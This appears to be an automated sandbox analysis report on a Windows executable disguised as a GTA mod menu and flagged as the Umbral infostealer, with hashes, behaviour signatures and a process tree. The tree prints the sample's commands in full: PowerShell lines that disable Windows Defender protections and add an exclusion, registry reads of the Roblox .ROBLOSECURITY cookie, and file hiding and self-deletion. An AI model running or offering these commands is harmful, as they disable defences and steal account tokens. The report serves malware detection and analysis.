Analysis

  • max time kernel
    104s
  • max time network
    111s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250410-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250410-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15/04/2025, 07:02

General

  • Target

    GTAKiddionsModdestMenu.exe

  • Size

    760KB

  • MD5

    eb423c6dc0da5974cb5dbbc694cdeb04

  • SHA1

    cd0a59826f3283d611ec033235fbbe2fc8f127b7

  • SHA256

    5a1dfadc21abdb14962162b1f82b57da371f86baddf890420b252f821dff2699

  • SHA512

    f8fb1a032a44d809aff2d42a776978e9dc99117f20654aee3c51565378de0ba790995925934aa72787799aff29666c2da9dd655c9c400af3509a9f8209616e87

  • SSDEEP

    12288:5jH1hK3ikszq3iNWu6GQzR2ERfm/L5ZQinoF0jJJ3HeCSCwaAt:5T1h+i1myNWujo++

Malware Config

Signatures

  • Detect Umbral payload 1 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Umbral family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 15 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 47 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\GTAKiddionsModdestMenu.exe
    "C:\Users\Admin\AppData\Local\Temp\GTAKiddionsModdestMenu.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4952
    • C:\Users\Admin\AppData\Local\Temp\GTAKiddionsModdestMenu.exe
      "C:\Users\Admin\AppData\Local\Temp\GTAKiddionsModdestMenu.exe"
      2⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3784
      • C:\Windows\SysWOW64\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:2820
      • C:\Windows\SysWOW64\attrib.exe
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\GTAKiddionsModdestMenu.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Views/modifies file attributes
        PID:932
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\GTAKiddionsModdestMenu.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3992
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5032
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1496
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4772
      • C:\Windows\SysWOW64\Wbem\wmic.exe
        "wmic.exe" os get Caption
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:3200
      • C:\Windows\SysWOW64\Wbem\wmic.exe
        "wmic.exe" computersystem get totalphysicalmemory
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2404
      • C:\Windows\SysWOW64\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        3⤵
        • System Location Discovery: System Language Discovery
        PID:3492
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:4020
      • C:\Windows\SysWOW64\Wbem\wmic.exe
        "wmic" path win32_VideoController get name
        3⤵
        • System Location Discovery: System Language Discovery
        • Detects videocard installed
        PID:4212
      • C:\Windows\SysWOW64\cmd.exe
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\GTAKiddionsModdestMenu.exe" && pause
        3⤵
        • System Location Discovery: System Language Discovery
        • System Network Configuration Discovery: Internet Connection Discovery
        • Suspicious use of WriteProcessMemory
        PID:3980
        • C:\Windows\SysWOW64\PING.EXE
          ping localhost
          4⤵
          • System Location Discovery: System Language Discovery
          • System Network Configuration Discovery: Internet Connection Discovery
          • Runs ping.exe
          PID:3120

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\GTAKiddionsModdestMenu.exe.log

    Filesize

    425B

    MD5

    4eaca4566b22b01cd3bc115b9b0b2196

    SHA1

    e743e0792c19f71740416e7b3c061d9f1336bf94

    SHA256

    34ba0ab8d1850e7825763f413142a333ccbc05fa2b5499a28a7d27b8a1c5b4bb

    SHA512

    bc2b1bf45203e3bb3009a7d37617b8f0f7ffa613680b32de2b963e39d2cf1650614d7035a0cf78f35a4f5cb17a2a439e2e07deaefd2a4275a62efd0a5c0184a1

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    3d086a433708053f9bf9523e1d87a4e8

    SHA1

    b3ab5d4f282a4c8fe8c3005b8a557ed5a0e37f28

    SHA256

    6f8fd1b8d9788ad54eaeee329232187e24b7b43393a01aeba2d6e9675231fb69

    SHA512

    931ae42b4c68a4507ff2342332b08eb407050d47cf4176137ea022d0f6e513c689e998445a04c6d18d4877391705c586bfce0234632b898d41aaed0957996dfd

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    18KB

    MD5

    f4263e2a0f36fb766b12c91a75d12853

    SHA1

    166334b752217759a0d07f418d276d0f27c9b45e

    SHA256

    bdec16fde7849df62286e20418b4474439e8b5b0366fc0e1c169f9fe46c7859c

    SHA512

    b706108e35c6d1e24be930a87a117c449baf90278b636cd9a958c423e63ecf053a01d7b9919dd562ed25d8a09b716b08c3af5ffe1ce0e98c60fd8956d2bddec5

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    17KB

    MD5

    67050216822693e769681caa69f500c0

    SHA1

    7f8787abc2f1aba40b752d6f81e23b2250e2206b

    SHA256

    2b783c3819f23dc4d29aa56834eb8828e88f1eed5b22f577d86b02db0099aaf8

    SHA512

    8398c1f0014e142618fae248afe82f0b0fe22da1fc051596bd4732221d5a97093770d297bfe6b8307d52edd6ff7968726812ac164d7a816905b353fbbc52a6cd

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    18KB

    MD5

    0281a1efc7650841b0a520456af9cc2e

    SHA1

    94e7f3e29488b0ee98b1a0edde0675026c8e3749

    SHA256

    ad9442dbd77cb947d8456295e2ae4e4298d085dedbdf1f9f4ed118c433e3ea7d

    SHA512

    5295817b7b3cc1f8a6eba08ca5b3c201d49cd3d132c7b972f813da8916480bbbc3baab96dfe2ebe718a7b0022527447329efeb31d4f3282b02666adbd1849b60

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    15KB

    MD5

    ffea3fb62cde8bd7ee7650e4cd8cb479

    SHA1

    50920fbcb3a52b0786b5ce31dd4d000bc19b26d3

    SHA256

    7e5b148928d00d9fb0f96bfc6f1b41045b291b467e9f337da7a4408010198e09

    SHA512

    bae4c9b82f0b1047f0b4db0b1783b05ca0f9522be52249490a10d23f87461f2dd74d4f0cd463b3f63b854d54ca25426d310106b9aa4f54f2fa29b9a94559b27f

  • C:\Users\Admin\AppData\Local\Temp\GTAKiddionsModdestMenu.exe

    Filesize

    760KB

    MD5

    eb423c6dc0da5974cb5dbbc694cdeb04

    SHA1

    cd0a59826f3283d611ec033235fbbe2fc8f127b7

    SHA256

    5a1dfadc21abdb14962162b1f82b57da371f86baddf890420b252f821dff2699

    SHA512

    f8fb1a032a44d809aff2d42a776978e9dc99117f20654aee3c51565378de0ba790995925934aa72787799aff29666c2da9dd655c9c400af3509a9f8209616e87

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dw1tijgx.4vq.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1496-84-0x0000000005730000-0x0000000005A84000-memory.dmp

    Filesize

    3.3MB

  • memory/1496-95-0x00000000062F0000-0x000000000633C000-memory.dmp

    Filesize

    304KB

  • memory/1496-96-0x0000000006340000-0x0000000006362000-memory.dmp

    Filesize

    136KB

  • memory/3784-8-0x0000000005610000-0x00000000056A2000-memory.dmp

    Filesize

    584KB

  • memory/3784-112-0x0000000007730000-0x0000000007742000-memory.dmp

    Filesize

    72KB

  • memory/3784-111-0x0000000007570000-0x000000000757A000-memory.dmp

    Filesize

    40KB

  • memory/3784-11-0x00000000745C0000-0x0000000074D70000-memory.dmp

    Filesize

    7.7MB

  • memory/3784-115-0x00000000745C0000-0x0000000074D70000-memory.dmp

    Filesize

    7.7MB

  • memory/3784-10-0x0000000005C60000-0x0000000006204000-memory.dmp

    Filesize

    5.6MB

  • memory/3784-9-0x00000000745C0000-0x0000000074D70000-memory.dmp

    Filesize

    7.7MB

  • memory/3784-116-0x00000000745C0000-0x0000000074D70000-memory.dmp

    Filesize

    7.7MB

  • memory/3784-3-0x0000000000400000-0x0000000000440000-memory.dmp

    Filesize

    256KB

  • memory/3784-71-0x0000000007370000-0x000000000738E000-memory.dmp

    Filesize

    120KB

  • memory/3784-70-0x00000000072E0000-0x0000000007330000-memory.dmp

    Filesize

    320KB

  • memory/3784-69-0x0000000007110000-0x0000000007186000-memory.dmp

    Filesize

    472KB

  • memory/3784-133-0x00000000745C0000-0x0000000074D70000-memory.dmp

    Filesize

    7.7MB

  • memory/3992-14-0x00000000054A0000-0x0000000005AC8000-memory.dmp

    Filesize

    6.2MB

  • memory/3992-29-0x0000000006290000-0x00000000062DC000-memory.dmp

    Filesize

    304KB

  • memory/3992-44-0x0000000007590000-0x00000000075AA000-memory.dmp

    Filesize

    104KB

  • memory/3992-45-0x0000000007600000-0x000000000760A000-memory.dmp

    Filesize

    40KB

  • memory/3992-46-0x0000000007810000-0x00000000078A6000-memory.dmp

    Filesize

    600KB

  • memory/3992-47-0x0000000007790000-0x00000000077A1000-memory.dmp

    Filesize

    68KB

  • memory/3992-48-0x00000000077C0000-0x00000000077CE000-memory.dmp

    Filesize

    56KB

  • memory/3992-49-0x00000000077D0000-0x00000000077E4000-memory.dmp

    Filesize

    80KB

  • memory/3992-50-0x00000000078D0000-0x00000000078EA000-memory.dmp

    Filesize

    104KB

  • memory/3992-51-0x00000000078B0000-0x00000000078B8000-memory.dmp

    Filesize

    32KB

  • memory/3992-42-0x0000000007430000-0x00000000074D3000-memory.dmp

    Filesize

    652KB

  • memory/3992-13-0x0000000002940000-0x0000000002976000-memory.dmp

    Filesize

    216KB

  • memory/3992-41-0x0000000006800000-0x000000000681E000-memory.dmp

    Filesize

    120KB

  • memory/3992-31-0x000000006FE70000-0x000000006FEBC000-memory.dmp

    Filesize

    304KB

  • memory/3992-30-0x0000000006830000-0x0000000006862000-memory.dmp

    Filesize

    200KB

  • memory/3992-43-0x0000000007BD0000-0x000000000824A000-memory.dmp

    Filesize

    6.5MB

  • memory/3992-28-0x0000000006260000-0x000000000627E000-memory.dmp

    Filesize

    120KB

  • memory/3992-24-0x0000000005D70000-0x00000000060C4000-memory.dmp

    Filesize

    3.3MB

  • memory/3992-17-0x0000000005430000-0x0000000005496000-memory.dmp

    Filesize

    408KB

  • memory/3992-22-0x0000000005C00000-0x0000000005C66000-memory.dmp

    Filesize

    408KB

  • memory/3992-15-0x0000000005290000-0x00000000052B2000-memory.dmp

    Filesize

    136KB

  • memory/4020-117-0x0000000005F60000-0x00000000062B4000-memory.dmp

    Filesize

    3.3MB

  • memory/4020-128-0x0000000006630000-0x000000000667C000-memory.dmp

    Filesize

    304KB

  • memory/4772-107-0x0000000005DE0000-0x0000000006134000-memory.dmp

    Filesize

    3.3MB

  • memory/4952-0-0x00000000745CE000-0x00000000745CF000-memory.dmp

    Filesize

    4KB

  • memory/4952-12-0x00000000745C0000-0x0000000074D70000-memory.dmp

    Filesize

    7.7MB

  • memory/4952-7-0x00000000745C0000-0x0000000074D70000-memory.dmp

    Filesize

    7.7MB

  • memory/4952-2-0x00000000745CE000-0x00000000745CF000-memory.dmp

    Filesize

    4KB

  • memory/4952-1-0x0000000000C80000-0x0000000000D44000-memory.dmp

    Filesize

    784KB

  • memory/5032-55-0x00000000055A0000-0x00000000058F4000-memory.dmp

    Filesize

    3.3MB